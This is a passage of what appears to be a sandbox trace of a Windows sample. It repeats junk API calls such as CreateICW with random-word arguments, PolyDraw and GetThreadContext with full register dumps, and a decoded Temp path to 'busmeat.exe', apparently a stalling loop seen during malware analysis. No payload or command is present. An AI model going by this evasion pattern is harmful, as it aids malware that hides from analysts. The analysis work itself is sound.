[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.244] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.245] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.245] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.245] GetConsoleCP () returned 0x0
	[0066.245] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.245] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.246] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.246] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.246] GetConsoleCP () returned 0x0
	[0066.246] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.246] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.246] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.246] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.246] GetConsoleCP () returned 0x0
	[0066.246] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 